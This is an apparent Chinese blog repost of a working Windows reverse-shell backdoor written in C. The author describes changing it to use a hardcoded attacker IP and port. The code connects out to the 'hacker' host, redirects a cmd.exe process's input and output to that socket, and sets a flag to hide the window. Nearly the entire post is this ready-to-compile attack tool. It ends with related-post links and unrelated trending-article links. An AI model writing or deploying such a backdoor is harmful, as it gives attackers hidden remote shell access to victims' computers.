转载来源:
https://www.nulled.to/topic/87972-custom-windows-reverse-shell-backdoor-written-in-c/
http://sh3llc0d3r.com/windows-reverse-shell-shellcode-i/
下面是我根据原文的修改,将命令行指定ip端口改为写死。将原文多字节编码改为Unicode编码。

#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")WSADATA wsaData;
SOCKET Winsock; // 本地socket
struct sockaddr_in hax; // 黑客的地址结构
char ip_addr[16] = "192.168.3.237"; // 黑客的ip地址(或者主机名)
char port[6] = "7500";              // 黑客的端口// 指定新进程主窗口的特性
STARTUPINFO ini_processo;// 返回有关新进程及其主线程的信息
PROCESS_INFORMATION processo_info;int main()
{WSAStartup(MAKEWORD(2, 2), &wsaData);Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);struct hostent *host; // 黑客主机信息host = gethostbyname(ip_addr);strcpy_s(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));hax.sin_family = AF_INET;hax.sin_port = htons(atoi(port));hax.sin_addr.s_addr = inet_addr(ip_addr);// 连接黑客主机WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);memset(&ini_processo, 0, sizeof(ini_processo));ini_processo.cb = sizeof(ini_processo);ini_processo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; // 重定向,隐藏窗口// 将标准输入、输出、错误重定向到socket句柄ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;TCHAR cmd[255] = TEXT("cmd.exe");CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);return 0;
}

C/C++编写的反向SHELL相关推荐

  1. java反序列化漏洞POP查找_利用 Java 反序列化漏洞在受限环境下获取反向 Shell

    原标题:利用 Java 反序列化漏洞在受限环境下获取反向 Shell 原文链接: https://medium.com/abn-amro-red-team/java-deserialization-f ...

  2. 在linux中编写shell脚本文件,如何编写简单的Shell脚本(Script)文件之Linux的基本操作...

    如何编写简单的Shell脚本(Script)文件之Linux的基本操作 新建一个文本文件包含所需要的脚本.举例,我会使用pico编辑器写一个脚本用来运行程序tar,带上必要的可选项可以用来解压从因特网 ...

  3. 用python写一个程序控制其它软件_程序员:利用Python实现可控制肉鸡的反向Shell...

    一.初识 1.1 用 Python 实现一个可以管理多个肉鸡的反向 Shell,为什么叫反向 Shell 呢?反向就是肉鸡作为 Client 主动连接到我们的 Server 端,以实现对多个远程主机的 ...

  4. 刘启成_编写并使用shell脚本

    编写并使用shell脚本 实验环境: 为了集中查看linux服务器各方面的运行情况,管理员(root)希望定制自己的登录环境,以便自动显示监控信息.另外,通过编写简单的shell脚本,熟悉linux自 ...

  5. 一款功能强大,可扩展端到端加密反向Shell的工具

    关于Mediator Mediator是一款功能强大的可扩展端到端加密反向Shell,该工具基于新型架构实现,采用Python语言开发,能够帮助广大研究人员通过一台"Mediator&quo ...

  6. 【 Grey Hack 】反向Shell

    目录 调查 准备反向shell 反向shell 提权 版本:Grey Hack v0.7.3618 - Alpha 如图,本案例中目标IP尚未开放常见端口 调查 通过路由器获得目标PC的用户邮箱账号和 ...

  7. 4-1:shell编程之编写第一个shell脚本

    文章目录 一:什么是shell脚本 二:如何编写shell脚本 (1)脚本文件的格式 (2)可执行权限 (3)执行脚本 三:第一个shell脚本 (1)基本结构 (2)变量和常量 A:创建变量和常量 ...

  8. JavaScript反向shell

    Node.js反向Shell 摘自:http://www.itfang.net/?p=109 如下的Javascript就是一个Node.js的反向连接shell. 这个payload将会生成一个/b ...

  9. 使用netcat的正向 / 反向shell

    reverse shell bind shell reverse shell描述图: 在此示例中,目标使用端口4444反向连接攻击主机.-e选项将Bash shell发回攻击主机.请注意,我们也可以在 ...

最新文章

  1. Anaconda入门使用指南(一)
  2. 查找字符位置_Excel中查找字符第N次出现的位置信息,换个思路其实很简单
  3. python学习费用-在上海学Python贵吗?Python培训费用是多少
  4. 00069_DateFormate
  5. 【计网】计算机网络期末总复习-谢希仁(个人总结)理论概念
  6. 抽屉之Tornado实战(5)--点赞与评论树
  7. java image 设置大小_如何在Java中调整BufferedImage的大小
  8. LeetCode 457. 环形数组循环(暴力+快慢指针)
  9. Ajax/JavaScript脚本大全,JS脚本大全
  10. AXFR和IXFR区域传输及原理
  11. 鼠标悬浮显示文字的简单方法
  12. 将运算放大器(运放)用作比较器
  13. JVM 字节码 栈图(Stack Map Table) 学习笔记
  14. html 播放ogg,HTML5中video 和 ogg
  15. 基于Python+ResNet实现的不良图片识别模型
  16. 16、先天八卦与后天八卦各自有什么用途?
  17. 计算机组老师颁奖词,优秀教研团队颁奖词
  18. BUUCTF web(三)
  19. NoSql入门和概述
  20. form表单用butten提交后无反应表单提交三种方式

热门文章

  1. 成功解决AttributeError: module ‘tensorflow‘ has no attribute ‘get_variable‘
  2. 深入浅出统计学 第六章 排列与组合
  3. 决策树-特征属性选择划分
  4. 【转载】OI生涯结束……在逸夫楼那些的日子里
  5. Android之微信支付
  6. js/jquery判断浏览器 停止加载
  7. hive中,向map类型插入数据时,需要str_to_map一下
  8. AngularJS依赖注入
  9. view里文书删除时报错的解决案
  10. Linq Coding -- Part Three [Let子句]